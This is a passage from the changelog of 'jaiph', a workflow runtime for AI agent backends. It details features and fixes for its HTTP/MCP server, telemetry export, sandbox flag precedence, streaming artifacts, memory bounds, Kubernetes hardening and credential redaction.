`integration/serve-restart.test.ts` (recovery **and** idempotency survive a real process restart end-to-end). Docs: a new "Restart-safe and retry-safe" section (durable records, interrupted reconciliation, idempotency, with `curl` examples) and a "Deployment topology" section in [Serve workflows over HTTP](docs/serve.md), the `Idempotency-Key`/`interrupted`/`409 E_IDEMPOTENCY_CONFLICT` and disk-reconstruction notes in [CLI](docs/cli.md#jaiph-serve), and a single-replica-by-design bullet in [Deploy the runtime image standalone](docs/deploy.md) plus the pinned `replicas: 1` + `Recreate` manifest. No new `JAIPH_*` env vars. + +- **Feat — expose REST and MCP Streamable HTTP from one `jaiph serve` process:** `jaiph serve` was HTTP-only while `jaiph mcp` was stdio-only, so a company deployment that needed both protocols required two processes (and had no Kubernetes-addressable MCP endpoint). `ServeHandler` (`src/cli/serve/handler.ts`) now embeds the same `McpServer` protocol machine used by `jaiph mcp` and serves it at **`POST /mcp`** beside the existing REST/OpenAPI API — one tool generation, one run registry, one concurrency cap, one sandbox/env posture, one hot-reload generation tracker, and the same `JAIPH_SERVE_TOKEN` bearer boundary on both `/v1/*` and `/mcp`. `McpServer.handleLine(line, write?)` (`src/cli/mcp/server.ts`) gains an optional per-call write sink routed through `AsyncLocalStorage`, so concurrent HTTP POSTs never cross-talk while the stdio transport keeps using the constructor `write`. An MCP `tools/call` funnels through the shared `startRun` path (also used by `POST /v1/workflows/{name}/runs`), so the call appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and cancels via `POST /v1/runs/{id}/cancel` or `notifications/cancelled` / SSE hangup — and every cancel path marks the shared run `cancelled` (not a generic `failed` from the killed child's exit). Response shapes follow the Streamable HTTP transport: JSON-RPC replies as `application/json`, notifications as `202` with no body, `tools/call` with `Accept: text/event-stream` as SSE progress + result, and `GET`/`DELETE /mcp` as `405`. Reverse-proxy requirements (disable buffering on streaming routes, raise read/idle timeouts, terminate TLS, forward `Authorization`) are documented. Tests: `src/cli/mcp/server.test.ts` (per-call sink routing + concurrent progress isolation), `src/cli/serve/handler.test.ts` (initialize/list/call, shared registry + concurrency cap, auth, SSE progress, MCP cancel → `cancelled`, REST cancel of an MCP run, SSE hangup cancel), `e2e/tests/147_serve_http_api.sh` (same-process REST+MCP), `e2e/tests/151_serve_transports_docker.sh` (both transports from outside a published container), and `e2e/tests/150_k8s_deploy.sh` (both transports from outside the Kind pod, same bearer). Docs: [Serve workflows over HTTP](docs/serve.md) §8 + reverse-proxy section, [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), [Serve workflows as MCP tools](docs/mcp.md) network-pointer, [Deploy](docs/deploy.md) same-Service-port note. + +- **Fix — give every run mode complete, bounded telemetry behavior:** the telemetry hook covered a standard `jaiph run`, HTTP `jaiph serve` calls, and `jaiph mcp` calls, but a standalone `jaiph run --raw` bypassed it (the docs claimed every run was covered) and the two exporters were **awaited sequentially**, so two unreachable backends could hold a completed run — and, on a server, an occupied execution-concurrency slot — for up to two full timeouts. Four gaps closed. **`--raw` now exports:** `runWorkflowRaw` (`src/cli/commands/run.ts`) fires the shared `exportRunTelemetry` hook after the child exits, gated by the new exported `shouldExportRawTelemetry(env)` so a user-invoked standalone raw run exports exactly like a normal run, while the **inner** raw process of a host-orchestrated Docker run skips it — the outer host process is the single exporter for that run, so a container run is still exported exactly once (no double export). The gate reads the new `DOCKER_SANDBOX_ENV` marker (`JAIPH_DOCKER_SANDBOX`), which `buildDockerArgs` (`src/runtime/docker.ts`) now always sets as `-e …=1` on the container; it is covered by the `JAIPH_DOCKER_*` `--env` reservation and excluded from the forwarding allowlist, so it is never user-settable and never auto-forwarded. **Concurrent under one flush budget:** the shared hook now runs the OTLP-trace and Sentry exporters **concurrently** (`runExporters` in `src/cli/telemetry/otlp.ts`, `Promise.all`) under one total flush budget instead of awaiting them back-to-back, so the worst-case post-run flush is one budget, not two. The budget is configurable via the new `JAIPH_TELEMETRY_FLUSH_MS` (default `10000`; a non-positive or unparseable value falls back to the default — `resolveFlushBudgetMs`) and is threaded into both exporters: `postOtlp` and `reportRunFailureToSentry` now take a `timeoutMs` argument instead of each hard-coding a private 10 s cap. **Detached delivery on long-lived processes:** the shared call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and HTTP `jaiph serve` invocation) now calls the new fire-and-forget `deliverRunTelemetryDetached` instead of awaiting `exportRunTelemetry`, so the caller marks the run terminal and releases its execution-concurrency slot **before** best-effort delivery — an unreachable backend can no longer delay a terminal result or hold a slot. Detached failures are tracked in bounded, cumulative counters (`telemetryDeliveryMetrics()` → `{otlpFailures, sentryFailures, warningsEmitted, warningsSuppressed}`) and warnings are capped at `MAX_DELIVERY_WARNINGS` (100) stderr lines before being counted silently, so a server pointed at a dead endpoint cannot grow stderr without bound. The one-shot callers (`jaiph run` completion and standalone `jaiph run --raw`), which must stay alive for the flush, still **await** `exportRunTelemetry`. Each exporter now returns an `ExportOutcome` (`sent` / `skipped` / `failed`) and takes an injectable `warn` sink so the detached path can meter failures. **Telemetry stays operator-side:** `OTEL_*` / `SENTRY_*` are host-only config and must never enter a workflow sandbox — the fail-closed prompt-env allowlist (`scrubPromptEnv`) already drops them and the Docker forwarding allowlist already excludes them; both are now pinned by tests (including the OTLP auth header in `OTEL_EXPORTER_OTLP_HEADERS`), and an explicit `--env` remains the only documented way in. Export failures still never change a workflow's output or exit status. Tests: `src/cli/commands/run.test.ts` (standalone raw exports, docker-inner raw skipped), `src/cli/telemetry/otlp.test.ts` (`resolveFlushBudgetMs` default/override/junk-fallback; two hanging exporters against a black-hole server finish in ~one budget, not two; `deliverRunTelemetryDetached` records both failures in bounded metrics and never throws), `src/runtime/docker.test.ts` (exactly one `JAIPH_DOCKER_SANDBOX=1` marker on the container; `OTEL_*`/`SENTRY_*` dropped by default and forwarded only via explicit `--env`), `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` never leaks `OTEL_*`/`SENTRY_*` — including the OTLP auth header — to a prompt backend), and expanded `integration/otlp-export.test.ts` / `integration/sentry-export.test.ts` (standard run, standalone raw run, MCP, and HTTP each produce one OTLP trace and one Sentry event on failure; a Docker-sandboxed run exports exactly once; an unreachable endpoint cannot delay an HTTP/MCP terminal result or occupied slot beyond a small tested bound). Docs: the every-run-mode coverage note and the concurrent-under-one-budget / detached-delivery / bounded-metrics paragraph in [Export traces to an OTLP collector](docs/observability.md), the `JAIPH_TELEMETRY_FLUSH_MS` row and the `JAIPH_DOCKER_SANDBOX` internal-Docker-only row in [Environment variables](docs/env-vars.md), and the telemetry-section note that the one Jaiph-owned knob bounds — but never enables — delivery. (Follow-up to the OTLP + Sentry telemetry work in this release.) + +- **Feat — one execution-policy contract across `jaiph run`, `jaiph serve`, and `jaiph mcp`:** the three commands now share a single flag surface, precedence order, consent model, and lifecycle-hook contract for the same execution engine, instead of `run` exposing sandbox flags while the long-lived servers required env vars and silently ignored anything they did not destructure (`jaiph serve --unsafe` and `jaiph mcp --inplace` parsed successfully but had **no effect**). **Shared flags:** `--workspace`, repeatable `--env KEY[=VALUE]`, `--inplace`, `--unsafe`, and `--yes`/`-y` mean the same thing in all three commands. `parseArgs` (`src/cli/shared/usage.ts`) now takes the invoking `command` and a `FLAG_COMMANDS` table maps each flag to the commands that accept it; a token that looks like a flag (`-…` before `--`) but belongs to another command is a **usage error that names the owner** (`--host is not a jaiph run flag (it belongs to jaiph serve)`), an unknown flag is rejected rather than swallowed as a positional (with a `jaiph run` hint to use `--` for dash-leading workflow args), and a bare `-` still stays positional. Display/transport options stay command-specific: `--target`/`--raw` remain `jaiph run` only, `--host`/`--port` remain `jaiph serve` only. **Precedence:** one documented order everywhere — CLI flags > `JAIPH_*` env vars > workflow runtime metadata > built-in defaults. A flag sets its `JAIPH_*` variable on the launched env for that process (`applySandboxFlags`, `src/cli/run/env.ts`), so the env layer stays the single source of truth sandbox resolution consumes. Contradictory posture is never resolved by precedence: `--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE` fails with **`E_FLAG_CONFLICT` before anything is spawned**, in all three commands. **Resolve-once posture:** `resolveStartupPosture` (`src/cli/shared/generation.ts`) applies the server's sandbox flags, resolves Docker enablement + sandbox mode + the unsafe-host-only gate **once at startup** into a `StartupPosture`, and the shared `logStartupPosture` prints one notice (wording — and the consent story it states — cannot drift between modes). That posture is threaded to every call as an `ExecutionPosture` (`src/cli/exec/call.ts`): `callWorkflow` applies the same `applySandboxFlags` env normalization as `jaiph run` and `callWorkflowDocker` applies the resolved sandbox mode **verbatim** instead of re-deriving it from each call's env. The documented standalone-container exception is preserved — inside a container the container/pod *is* the sandbox, the runtime image bakes `JAIPH_UNSAFE=true`, and unsafe host-only proceeds with a one-line notice. **Consent:** `jaiph run` confirms `--inplace` and unsafe-host-only interactively (`--yes`/`JAIPH_INPLACE_YES` auto-confirms; required non-TTY); for `jaiph serve` / `jaiph mcp`, launching the server with the flag or env var **is** the consent (no prompt), and `--yes`/`JAIPH_INPLACE_YES` is recorded on every call's env. **One hook contract:** the four lifecycle events (`workflow_start`, `step_start`, `step_end`, `workflow_end`) now fire for direct `jaiph run`, HTTP `jaiph serve` runs, and `jaiph mcp` tool calls alike. The `step_start`/`step_end` payload builders were extracted into `stepStartHookPayload`/`stepEndHookPayload` (`src/cli/run/hooks.ts`) and shared by the run emitter and by `callWorkflow`'s `buildStepEventHandler`, which is passed to `attachOutputCollector` on **both** the host and Docker call paths so hook dispatch cannot diverge; `hooks.json` is loaded per generation (`loadMergedHooks` in `loadGeneration`) and re-read on each source reload. Mode differences are now explicit rather than accidental: `jaiph run --raw` and `jaiph test` are documented no-hook lanes. As part of unifying the contract, `workflow_start` now carries the **run id** in `workflow_id` in every mode (direct runs previously emitted it empty). Tests: `integration/exec-policy.test.ts` (new — a table-driven suite runs the same sandbox/env cases through all three modes and asserts the same effective child env and filesystem isolation, that `serve --unsafe`/`serve --inplace`/`mcp --unsafe`/`mcp --inplace` have tested effects, that conflicting posture fails before spawning, and that all four lifecycle hooks fire with the documented payloads for direct/HTTP/MCP), `src/cli/shared/generation-posture.test.ts` (new — the flag → posture mapping with injected docker seams), `src/cli/shared/usage.test.ts` (per-command flag scoping — shared flags parse identically for run/serve/mcp, another command's flags and unknown flags are usage errors, `--` passthrough and bare `-` untouched, and `printUsage` documents the shared precedence + consent once), and `src/cli/commands/run.test.ts` (`E_FLAG_CONFLICT` for `--inplace --unsafe` and for `--inplace` + `JAIPH_UNSAFE=true`, no docker exec or spawn invoked). Docs: a new [Precedence](docs/env-vars.md#precedence) section and updated `JAIPH_INPLACE` / `JAIPH_INPLACE_YES` / `JAIPH_UNSAFE` / `--env` rows in [Environment variables](docs/env-vars.md), the shared flag tables + usage-error and resolve-once notes for `jaiph run` / `jaiph mcp` / `jaiph serve` in [CLI](docs/cli.md), the precedence layer + `E_FLAG_CONFLICT` note in [Configuration](docs/configuration.md#precedence), the "one contract, three invocation modes" section and the corrected `workflow_start` payload in [Add a hook](docs/hooks.md), the sandbox-flag/precedence notes in [Serve workflows as MCP tools](docs/mcp.md) and [Serve workflows over HTTP](docs/serve.md), the hook-dispatch contract line in [Architecture](docs/architecture.md), and the shared execution-policy section in `printUsage`. + +- **Fix — make `jaiph serve` request, event, and artifact I/O scale with bytes transferred:** the HTTP layer still performed avoidable whole-resource work on four paths, all now proportional to the bytes actually moved. **Request bodies settle on abort:** `readBody` (`src/cli/serve/server.ts`) only settled on `end`/`error`, so a client destroyed mid-upload left the promise pending forever with its buffered chunks pinned; it now settles on premature `close`/`error` with `aborted: true`, the connection handler drops the request without invoking the router, and no run slot is ever occupied (the helper is exported for direct unit testing of the settlement contract). **Run-dir resolution is cached:** the events/artifacts endpoints located a still-running run by scanning the whole `.jaiph/runs` tree (`findRunDir`) on *every* SSE poll until finalize set `run_dir`; `ServeHandler.runDirFor` now caches the first resolver hit on the record (`RunRecord.resolvedRunDir`, never part of the public run object, evicted with the record), so one live SSE connection scans at most once no matter how long it follows. **Journals follow by fd + offset:** the SSE follower reread the entire `run_summary.jsonl` from disk on every 250 ms poll; the new `createJournalFollower` (`src/cli/serve/runfiles.ts`) holds an open file descriptor and a byte offset, reads only appended bytes with positional `readSync`, buffers a partial trailing line in memory instead of rereading it, and is closed in the stream's `finally` so a disconnect releases the fd. **Artifacts (and NDJSON journals) stream:** `GET /v1/runs/{id}/artifacts/{path}` loaded the complete file into memory (`readFileSync`) before responding; the handler now returns a `bodyFile` `{path, size}` that the HTTP layer pipes through `node:stream.pipeline` — backpressure pauses the read when the socket is congested, a client disconnect destroys the file stream, `content-length` is set from the stat and the read is pinned to it (`end: size - 1`) so an appending journal can't overrun the advertised length, and a multi-gigabyte artifact costs no server memory. The NDJSON `GET /v1/runs/{id}/events` path streams the journal the same way. An explicit size policy joins the streaming: `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap, since streaming already bounds memory) refuses larger artifacts with `413 E_ARTIFACT_TOO_LARGE`. Tests (each verified to fail against the pre-fix behavior): `src/cli/serve/server.test.ts` (readBody settles promptly on premature close; a destroyed mid-upload request occupies no run slot, never starts a workflow, and the server keeps serving; a 1 MiB artifact round-trips byte-identically through a real socket with `content-length`; a stalled 256 MiB download's file stream is destroyed when the client disconnects), `src/cli/serve/handler.test.ts` (a live SSE connection resolves the run dir with exactly one scan across many polls; the artifact cap returns 413 past the limit while smaller files stream; NDJSON/artifact responses carry `bodyFile` + `content-length`), `src/cli/serve/runfiles.test.ts` (an instrumented-`fs` SSE follow proves each appended journal byte is read exactly once and never before the current offset, and that no poll loads the journal whole; the follower completes a split line from its buffered tail), and `integration/serve-server.test.ts` (a 3 GiB sparse artifact streams to a real client with the serve process's RSS sampled below 1.5 GiB throughout — a buffering server would hold 3 GiB+). Docs: a streaming-download + `JAIPH_SERVE_MAX_ARTIFACT_BYTES` note in the artifact-download step of [Serve workflows over HTTP](docs/serve.md), the `JAIPH_SERVE_MAX_ARTIFACT_BYTES` row in [Environment variables](docs/env-vars.md), the artifact/events endpoint rows plus the `413 E_ARTIFACT_TOO_LARGE` error code and serve-limits bullet in [CLI](docs/cli.md#jaiph-serve), and the `jaiph serve` usage text. + +- **Fix — bound `jaiph serve` memory: per-run output caps, completed-run retention, and paginated listing:** `jaiph serve`'s concurrency cap limits *active* children but not process memory, so over a long-lived server an authenticated caller could exhaust it three ways — the in-memory run map grew forever, each completed run's `result_text` stayed resident forever, and a single run's raw stdout/stderr/`log` capture accumulated unbounded. All three are now bounded. **Per-run output caps:** a new `OutputCaps` (`src/cli/exec/call.ts`) threads a UTF-8 byte cap through the call layer; `attachOutputCollector` keeps per-stream byte counters and one-shot "cut" flags so stdout, stderr, and collected `log` output each stop accumulating at the cap, and `composeResult` caps the composed `result_text` as a final backstop. Overflow is dropped and replaced with a deterministic `TRUNCATION_MARKER` (`[jaiph: output truncated — exceeded the configured byte cap]`); the new `capBytes` helper slices on a byte boundary and drops a trailing partial multibyte char so the head stays valid UTF-8. `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) sets one value applied **independently** to each of the four channels. The default caps are effectively unbounded (`Number.MAX_SAFE_INTEGER` via `DEFAULT_OUTPUT_CAPS`), so `jaiph mcp` and direct callers are byte-for-byte unchanged — only `jaiph serve` passes finite caps. **Completed-run retention:** `ServeHandler.evictCompleted` (`src/cli/serve/handler.ts`), called after every finalize, drops terminal records past `JAIPH_SERVE_RETAIN_RUNS` (default `500`, oldest terminal `order` evicted first) and older than `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`; `0` disables age eviction). **Active (`running`) runs are never evicted**, and eviction removes only the in-memory record — the durable `run_summary.jsonl` journal and `artifacts/` on disk are untouched and remain the operator's to prune. **Bounded listing:** `GET /v1/runs` is now paginated via `?limit` (default `100`, clamped to `1000` by `clampInt`) and `?offset`, returning `{runs, total, limit, offset}`; a hostile `?limit=` can never widen the page past the maximum, so the response is never unbounded, and the monotonic unique `order` field keeps newest-first paging stable. The OpenAPI document (`src/cli/serve/openapi.ts`) gains the `limit`/`offset` parameters and the `total`/`limit`/`offset` response fields. `jaiph serve` startup parses the three env vars with a shared `intEnv` validator (a non-integer or out-of-range value prints a diagnostic to stderr and exits `1`) and logs the effective memory bounds plus the durable-artifact operator caveat. Tests: `src/cli/exec/call.test.ts` (`capBytes` verbatim vs. marked overflow and no U+FFFD split; `composeResult` caps a runaway success return and a runaway failure narrative; `attachOutputCollector` bounds stdout/stderr/logs each with a marker), `src/cli/serve/handler.test.ts` (count retention evicts only the oldest terminal records; an active run survives even past the budget; age retention evicts once past the window; pagination is bounded, newest-first stable, and reports `total`; `limit` is clamped to the maximum), and `e2e/tests/147_serve_http_api.sh` (`?limit=1` returns exactly one record while echoing the limit and full total). Concurrency, cancellation, SSE, and artifact tests continue to pass. Docs: a new [Bound memory over a long-lived server](docs/serve.md#8-bound-memory-over-a-long-lived-server) section in [Serve workflows over HTTP](docs/serve.md), the three `JAIPH_SERVE_*` rows in [Environment variables](docs/env-vars.md), and the paginated `GET /v1/runs` row plus a memory-bounds bullet in the `jaiph serve` section of [CLI](docs/cli.md#jaiph-serve). + +- **Fix — make the Kubernetes example runnable and hardened by default:** `docs/deploy/k8s.yaml` used to mount the workflow ConfigMap read-only at `/work` while standalone host mode writes runs under `/.jaiph/runs` — schema-valid, but a real run could never land its journal — and it shipped applyable placeholder credentials (`JAIPH_SERVE_TOKEN: "replace-me-…"`) plus none of the pod hardening `docs/deploy.md` says the operator must supply. The manifest now sets `JAIPH_RUNS_DIR=/jaiph/runs` onto a dedicated writable `emptyDir` (swap for a PVC for durability) while `/work` stays read-only; the `Secret` manifest is **gone** — the Deployment references an external `jaiph-credentials` Secret as a required `envFrom`, so a missing Secret holds the pod in `CreateContainerConfigError` instead of ever starting unauthenticated, and the header documents the `kubectl create secret generic` contract. Hardening is on by default: `runAsNonRoot` with the image's fixed UID/GID `10001`, `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `seccompProfile: RuntimeDefault`, `automountServiceAccountToken: false`, and `readOnlyRootFilesystem: true` with writable `emptyDir`s only where Jaiph and the agent CLIs genuinely write (`/tmp`, and a fresh `$HOME` at `/jaiph/home` — the baked `PATH` still resolves `cursor-agent` from the read-only image home). Commented env entries show credential-free OTLP / Sentry wiring (secrets go in the Secret, addresses in the manifest). Tests: new `e2e/tests/150_k8s_deploy.sh` (gated on docker+kind+kubectl; run in CI's `k8s-manifest` job against a kind cluster) applies the manifest with the locally built image, asserts the missing-Secret gate and every hardening field (spec fields **and** effective behavior: `id -u` is `10001`, no SA token file, root FS and `/work` non-writable), invokes the `health` workflow over HTTP with bearer auth (and asserts `401` without it), asserts the run's `run_dir` is on the runs volume, and byte-compares `GET /v1/runs/{id}/events` against `run_summary.jsonl` read from that volume — `kubectl apply --dry-run=client` remains as the fast schema gate but is no longer the only deployment test. Docs: the Kubernetes section of [Deploy the runtime image standalone](docs/deploy.md) now covers the external Secret contract, the hardening set, and the writable-mount map. + +- **Fix — keep `jaiph mcp` generations alive while calls are in flight, and drain before shutdown:** `jaiph mcp` handles tool calls concurrently, but a hot reload used to delete the previous generation's out dir (emitted scripts + serialized graph) the instant it swapped — `rmSync(previousOutDir, …)` ran synchronously in the reload handler — so a call that started just before the reload lost the scripts its remaining steps spawn from, and signal shutdown removed the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounted its generations (HTTP runs can outlive a reload); MCP now gets the same guarantee from a **shared** lifecycle. The `LiveGeneration` refcount model was extracted from `src/cli/commands/serve.ts` into `createGenerationTracker` in `src/cli/shared/generation.ts` and is now used by both commands: each call `acquire()`s a **lease** on the generation live at call start (`lease.state` is stable for the call's lifetime), and a superseded generation's out dir is deleted only when its **last lease releases** — immediately on swap when idle, otherwise when the final in-flight call settles. A call spanning one or more reloads therefore always runs its remaining script steps from the generation it captured, and no generation directory is left behind after all calls settle. **Shutdown is now drain-then-cancel** (matching `jaiph serve`): stdin closing or the **first** `SIGINT`/`SIGTERM` stops accepting input and awaits every in-flight call before removing the temp root and exiting `0` — a draining call keeps its scripts on disk until it settles. A **second** signal cancels instead of waiting: the new `McpServer.cancelAll()` (`src/cli/mcp/server.ts`) invokes each in-flight call's cancel handle, terminating its run's child process tree (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, force-removing its container (`docker rm -f`), so no child process or container is orphaned; unlike a client `notifications/cancelled`, the calls are **not** marked cancelled — each killed run settles with a normal `isError` response, so the drain awaiting them completes deterministically and the server still exits `0`. Tests: new `src/cli/shared/generation.test.ts` (lease pins the generation across a swap; last release deletes the superseded dir; concurrent leases across multiple swaps settle out-of-order and leave only the current dir; release is idempotent and cannot free a dir another lease still holds), `src/cli/mcp/server.test.ts` (`cancelAll` kills every in-flight run yet still delivers each `isError` response), and a new `e2e/tests/149_mcp_generation_lifecycle.sh` (wired into `e2e/test_all.sh`): a slow call started before a reload returns the **old** generation's value while a post-reload call returns the **new** one and stdin-close drains both; SIGTERM drains an in-flight call to completion with no orphaned script process; a second SIGTERM cancels with an `isError` result and no orphan. Docs: updated `jaiph mcp` shutdown/exit behavior and a generation-lease note in [CLI](docs/cli.md#jaiph-mcp), an in-flight-call note under hot reload and a new "Shutdown (drain, then cancel)" section in [Serve workflows as MCP tools](docs/mcp.md). + +- **Fix — redact credentials from every returned workflow result, not just the durable journal:** `jaiph serve`'s `result_text` and a `jaiph mcp` tool error could return a secret that events, OTLP, and Sentry all redacted. The failure text was built in `composeResult` (`src/cli/exec/call.ts`) from the run's **live** captured output — failed-step detail, raw stderr/stdout, and collected `log` messages — whereas only the durable `run_summary.jsonl` copies were credential-redacted by `RuntimeEventEmitter`; a workflow that echoed a `*_API_KEY` / `*_TOKEN` / `*_SECRET` value to a stream and then failed leaked it verbatim through `?wait=true`, `GET /v1/runs/{id}`, and MCP tool results. The redaction rule is now **one shared helper**, `redactCredentials` (extracted from `RuntimeEventEmitter` into the new `src/runtime/kernel/redact.ts` — same credential-key suffixes, same ≥8-char threshold), imported by both the journal writer and `composeResult`. `composeResult` redacts the fully assembled failure text once, so step detail, raw streams, and logs all pass the same boundary regardless of which branch contributed them, and it does not rely on the (unredacted-at-source) live `__JAIPH_EVENT__` stream. This is the single boundary both `jaiph serve` (`result_text`) and `jaiph mcp` (tool results) return through; on the Docker path the `--env` passthrough (which flows through `DockerSpawnOptions.extraEnv`, not `runtimeEnv`) is merged back in so those values redact too. **Successful return values are unchanged:** a workflow's `return` is intentional API output, not diagnostic capture, and is returned verbatim (its `log`-output fallback, being diagnostic capture, is redacted). Tests: `src/cli/exec/call.test.ts`, and integration coverage that a failing workflow echoing a credential to both streams never exposes the value through `?wait=true`, `GET /v1/runs/{id}` (`integration/serve-server.test.ts`), or an MCP tool result (`integration/mcp-server.test.ts`) while `[REDACTED]` and the failed-step diagnostics are retained; the existing event-journal, OTLP, and Sentry redaction tests still pass. Docs: [Serve workflows over HTTP](docs/serve.md), [Call a tool and read the result](docs/mcp.md), and the redaction section of [Architecture](docs/architecture.md). + +- **Feat — standalone runtime image: run jaiph in Docker/Kubernetes without a host orchestrator:** The published `ghcr.io/jaiphlang/jaiph-runtime` image (`runtime/Dockerfile`) already contained `jaiph`, the claude/cursor/codex backends, and a full toolchain, but it was only ever used as a *sandbox rootfs orchestrated by a host jaiph process*; running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) failed because jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. The image now **bakes `ENV JAIPH_UNSAFE=true`** (with a rationale comment: inside the image the container *is* the sandbox, so host-mode execution is correct and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod), so the "put credentials + jaiph files and run it" story works on every build. **Host-orchestrated sandbox behavior is unchanged:** no `ENTRYPOINT` is added and `WORKDIR` is untouched (the host passes an explicit command argv that a prefix would corrupt), and the container-inner invocation the host uses is `jaiph run --raw`, which by contract never launches Docker regardless of `JAIPH_UNSAFE` — the full Docker e2e suite stays green with the ENV present. New `src/runtime/docker.ts` seams back the standalone story: an injectable `_containerIndicator.present()` (true when `/.dockerenv` — Docker — or `/run/.containerenv` — Podman / CRI — exists) and `isRunningInContainer()`; `checkDockerAvailable()` now, when Docker is unavailable **and** a container indicator is present, throws `E_DOCKER_NOT_FOUND … jaiph is running inside a container already. Set JAIPH_UNSAFE=true to run in host mode (the container is the sandbox). See https://jaiph.org/deploy` (covering users of derived images without the baked ENV) — with no indicator the original "Install Docker …" error is unchanged. `confirmUnsafeRun` (`src/runtime/docker-inplace.ts`) now, inside a container, proceeds with a one-line stderr notice (`running host-only inside a container (the container is the sandbox)`) instead of prompting or aborting `E_UNSAFE_NO_CONFIRM` — mirroring the win32 host-only override — which is what lets an unattended pod run. No new `JAIPH_*` env vars. Tests: `src/runtime/docker.test.ts` (indicator present → the container guidance with `JAIPH_UNSAFE=true`; indicator absent → the install-Docker error verbatim), `src/runtime/docker-inplace.test.ts` (in-container non-TTY without auto-confirm proceeds without opening a prompt and prints the notice; on a host the same conditions still throw `E_UNSAFE_NO_CONFIRM`), and a gated `e2e/tests/148_standalone_image.sh` (wired into `e2e/test_all.sh`) that runs the built image standalone on a fixture `hello.jh` with **no** `-e JAIPH_UNSAFE` and no Docker daemon inside, asserting the `return` value round-trips to `return_value.txt` and exit `0` — proving host mode comes purely from the baked ENV. CI: a new `k8s-manifest` job in `.github/workflows/ci.yml` provisions a throwaway kind cluster and runs `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` on every build. Docs: new [Deploy the runtime image standalone](docs/deploy.md) how-to (one-shot `docker run` with the claude/cursor/codex credential variants, a CI note pointing at the pattern `nightly-engineer.yml` uses, Kubernetes, and a plainly-stated **no-jaiph-sandbox security posture** — isolation is the container/pod boundary and workspace content policy is the operator's responsibility), an apply-ready `docs/deploy/k8s.yaml` (Deployment + Secret for backend credentials and `JAIPH_SERVE_TOKEN` + Service, `jaiph serve --host 0.0.0.0` with `/healthz` liveness/readiness probes, tag-pinning / TLS-via-ingress / resource-request guidance), links from README, [Sandboxing](docs/sandboxing.md), and [Install & switch versions](docs/setup.md), an updated `JAIPH_UNSAFE` row in [Environment variables](docs/env-vars.md) noting the image bakes it, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23` — "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … it can't depend on a local machine + docker".) + +- **Feat — OTLP trace export: one span tree per run, zero dependencies:** A completed run now exports as an OpenTelemetry trace to any OTLP/HTTP collector (a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog), so operators running workflows in CI or as a service get a per-run latency breakdown and failure signal in a standard observability stack instead of only the local run dir. Export is **host-side and end-of-run**, in the new `src/cli/telemetry/otlp.ts` (zero runtime dependencies — a `node:https`/`node:http` request is the whole transport): after a run reaches terminal state the CLI reads *that run's* `run_summary.jsonl` and posts one trace. Nothing new crosses the sandbox boundary and no `OTEL_*` variable is forwarded into the container — the journal is complete (it carries the `WORKFLOW_*`/`PROMPT_*` records the live stderr stream omits), already credential-redacted by `RuntimeEventEmitter`, and host-visible in every sandbox mode (the run dir is a host mount); runs are minutes long, so end-of-run batching is the normal OTLP pattern anyway. The pure `runSummaryToOtlp(lines, meta)` maps journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`: **trace id** = the run-id UUID with dashes stripped (32 hex, per the spec's JSON mapping), **span id** = first 16 hex of `sha256()` — deterministic, so re-exporting a run yields byte-identical ids. One **root span** `workflow ` per run (`WORKFLOW_START`→`WORKFLOW_END` timestamps, falling back to first/last event `ts`; status `ERROR` when the run exits nonzero or a signal killed it, else `OK`; each `LOGERR`/`LOGWARN` becomes a span event on it); one **step span** per `STEP_START`/`STEP_END` pair matched by event `id`, parented via `parent_id` (root when null), `kind: SPAN_KIND_INTERNAL`, attributes `jaiph.step.{kind,func,name,seq,depth,status,elapsed_ms}` plus the redacted `jaiph.step.out`/`jaiph.step.err` captures, span status `ERROR` on a nonzero step status; **prompt spans** as children of their `step_id` with `jaiph.prompt.{backend,model,status}`. A `STEP_START` with no matching `STEP_END` (a crash) closes at the last event's `ts` with status `ERROR`; ISO `ts` → `timeUnixNano` strings. Resource attributes: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), the `OTEL_RESOURCE_ATTRIBUTES` pairs, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. **Enablement is standard OTEL env — no new `JAIPH_*`:** export runs iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set (traces-specific wins when both are); `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) is applied; only `http/json` is spoken — any other `OTEL_EXPORTER_OTLP_PROTOCOL` (e.g. `grpc`) warns on stderr and skips rather than mis-speak a protocol. A single shared hook `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})` fires at every host terminal state — `jaiph run` completion (`reportResult` in `src/cli/commands/run.ts`) and the shared workflow-call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and `jaiph serve` invocation) — one choke point covering host, Docker snapshot, and inplace modes. **Telemetry is never load-bearing:** an unreachable or erroring collector (or the 10 s timeout) produces exactly one stderr warning line and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/otlp.test.ts` (fixture journals — trace id from run id, step parenting per `parent_id`, prompt child of `step_id` with backend/model, failed step → span status 2, nonzero exit → root status 2, ISO→nano strings, unmatched `STEP_START` closes ERROR at the last event time, deterministic ids across two invocations; endpoint-resolution precedence, header parsing, `http/json`-only guard) and `integration/otlp-export.test.ts` (a fake collector receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set, and nothing with no 